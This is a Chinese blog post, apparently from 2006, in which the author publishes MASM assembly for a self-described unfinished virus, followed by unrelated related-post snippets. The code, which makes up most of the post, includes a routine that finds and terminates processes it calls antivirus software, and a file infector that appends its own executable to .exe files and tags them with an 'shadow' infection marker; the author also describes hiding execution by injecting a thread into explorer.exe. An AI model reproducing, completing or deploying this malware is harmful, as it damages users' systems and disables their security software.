很久很久以前写的汇编代码 想写病毒一直没时间完成(少网络传播模块 与 线程附加模块)

原创 2006年06月19日 00:11:00

以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。

感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.

 ;##########################################################
; Shadow MASM Public Function Library
;##########################################################

;##########################################################
 GetWindowsVer proto
 KillAntiVirus  proto
 vBackupFile proto
 ReadVirusToMem proto :DWORD
 WriteVirusToExe proto :DWORD, :DWORD
;##########################################################


;##########################################################
; 判断 Windows 版本 测试通过
;##########################################################
 GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
  xor ebx,ebx
  .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT
   mov ebx,1
  .ELSE
   xor ebx,ebx
  .ENDIF
  invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK
  ret
 GetWindowsVer endp


;##########################################################
; 终止杀毒软件 测试通过
;##########################################################
 KillAntiVirus proc
  LOCAL  lppe:PROCESSENTRY32
  LOCAL  hProcessSnap:DWORD
  
  mov lppe.dwSize,SIZEOF PROCESSENTRY32
  invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
  mov hProcessSnap,eax 
  
  ;循环获取进程信息判断是否为杀毒软件
  invoke Process32First,hProcessSnap,addr lppe
  .WHILE eax
   invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
   .IF eax==0
    invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
    invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它
   .ENDIF
   
   invoke Process32Next,hProcessSnap,addr lppe
  .ENDW

  invoke CloseHandle,hProcessSnap
  ret
 KillAntiVirus endp


;##########################################################
; 备份病毒文件
;##########################################################
 vBackupFile proc
  LOCAL hFindFile:DWORD
  LOCAL byPath[MAX_PATH]:BYTE      ;保存搜索的路径[备份路径]
  LOCAL bySearchPath[MAX_PATH]:BYTE   ;要搜索的路径及文件
  LOCAL byFile[MAX_PATH]:BYTE      ;找到的文件 
  LOCAL lpFileData:WIN32_FIND_DATA
  
  ;获取系统目录
  invoke GetSystemDirectory,addr byPath,SIZEOF byPath
  invoke lstrcat,addr bySearchPath,CTEXT("/*.exe")
  invoke GetCurrentDirectory,sizeof byPath,addr byPath
  
  ;获得用于搜索的路径
  invoke lstrcpy,addr bySearchPath,addr byPath
  invoke lstrcat,addr bySearchPath,CTEXT("/Test/*.exe")
  
  ;备份路径
  invoke lstrcat,addr byPath,CTEXT("/Test/")
  
  ;查找文件
  invoke FindFirstFile,addr bySearchPath,addr lpFileData                           
  .IF eax != INVALID_HANDLE_VALUE
   mov hFindFile,eax
   .WHILE eax
    invoke lstrcpy,addr byFile,addr byPath
    invoke lstrcat,addr byFile,addr lpFileData.cFileName
    invoke ReadVirusToMem,addr byFile
    invoke FindNextFile,hFindFile,addr lpFileData
    
   .ENDW
   invoke FindClose,hFindFile
  .ENDIF
  
  ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK
  ret
 vBackupFile endp

;##########################################################
; 将病毒文件读入内存
;########################################################## 
 ReadVirusToMem Proc dwWriteFileName:DWORD
  LOCAL hMem:DWORD  
  LOCAL byFile[MAX_PATH]:BYTE
  LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD
  
  ;获取当前exe文件名并打开文件
  invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile
  invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hReadFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;获取当前exe文件大小 分配内存 读取文件
  invoke GetFileSize,hReadFile,NULL
  mov dwFileSize,eax
  test eax,eax
  je ExitFunction
  
  invoke GlobalAlloc,GPTR,dwFileSize
  test eax,eax
  je ExitFunction
  mov hMem,eax
  
  invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL
  invoke GlobalLock,hMem  

  invoke WriteVirusToExe,dwWriteFileName,hMem

  
  ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK
  ExitFunction:
  invoke GlobalUnlock,hMem
  invoke GlobalFree,hMem
  invoke CloseHandle,hReadFile
  ret
 ReadVirusToMem endp
 
;##########################################################
; 将内存病毒写入文件并将已感染标志写入
;########################################################## 
 WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD
  LOCAL FileFlag[8]:BYTE
  LOCAL hFile:DWORD
  LOCAL byOfRead:DWORD
  LOCAL dwWriteSize:DWORD
  LOCAL byOfWrite:DWORD
  
  invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag
  ;打开文件
  invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;设置文件读取位置 读取文件6个字节 判断文件是否感染
  invoke SetFilePointer,hFile,-6,NULL,FILE_END
  inc eax
  je ExitFunction
  dec eax
   
  invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL
  invoke lstrcmp,addr FileFlag,CTEXT("shadow")
  test eax,eax
  je ExitFunction
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke GlobalSize,dwWriteBuffer
  mov dwWriteSize,eax
  invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL
  
  ExitFunction:
  invoke CloseHandle,hFile
  ret
 WriteVirusToExe endp

很久很久以前

很久很久以前,有一群人,他们决定用8个可以开合的晶体管来组合成不同的状态,以表示世界上的万物。他们看到8个开关状态是好的,于是他们把这称为"字节"。 再后来,他们又做了一些可以处理这些字节的机器,机器...

很久以前开心网很火时候的群发代码

很久以前开心网很火时候的群发代码 为了清理硬盘 哈哈  代码要干掉了  传网络上共享下。。。哈哈 包含群发和验证码识别  自己看吧  乱的  不是好东西  呵呵  有问题就 企Q鹅 362.5...
  • zfrong
  • zfrong
  • 2012年12月01日 19:41
  • 1482

一直在做smart tv所以没时间学习其他的东西,也没怎么写博客

入手一个框架我总是使劲去读api规范,像android这样的比较丰富的框架,虽然内容多,但是貌似是非常清晰的,但是这个smart tv就特别不规范,很多api说明的特别不清楚,框架的整个关系都不清晰,...
  • hack2me
  • hack2me
  • 2011年10月12日 22:26
  • 635

很久以前,我以为,只要我对别人好,能忍让,就会换来同样的回报。

很久以前,我以为,只要我对别人好,能忍让,就会换来同样的回报。   很久以后,我终于相信,有些东西,任凭自己怎么努力,依旧抓不住,所以我学着不再期待。   很久以前,我的脑子里装满...

接着很久以前的贪吃蛇

因为前几天有些事情,所以那个贪吃蛇还有部分没有完成,只做到了蛇能够移动的地步。以前的代码所以今天就让蛇能够吃食物,并且蛇变长。 要实现这个功能主要做的就是判断蛇头的位置以及食物的位置。 然后就是在每次...

mini2440裸机音乐播放器(很久以前的笔记)

【这是好久以前写的,有点乱,没时间整理,当做记录用的。】 项目目的:通过IIS,触摸屏,LCD模块实现音乐播放器功能(按钮上一首、下一首、播放、暂停的音频控制功能,并实现播放歌曲时显示相应的歌曲图...

很久以前某位大仙对petri网的总结

2006年03月14日 计算模型的统一分析 计算模型的统一分析     人类所有的计算模型都包括如下四个要素:          1)输入集合或者输入变量(I);        ...
  • oney139
  • oney139
  • 2014年09月07日 16:00
  • 23369
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:很久很久以前写的汇编代码 想写病毒一直没时间完成(少网络传播模块 与 线程附加模块)
举报原因:
原因补充:

(最多只允许输入30个字)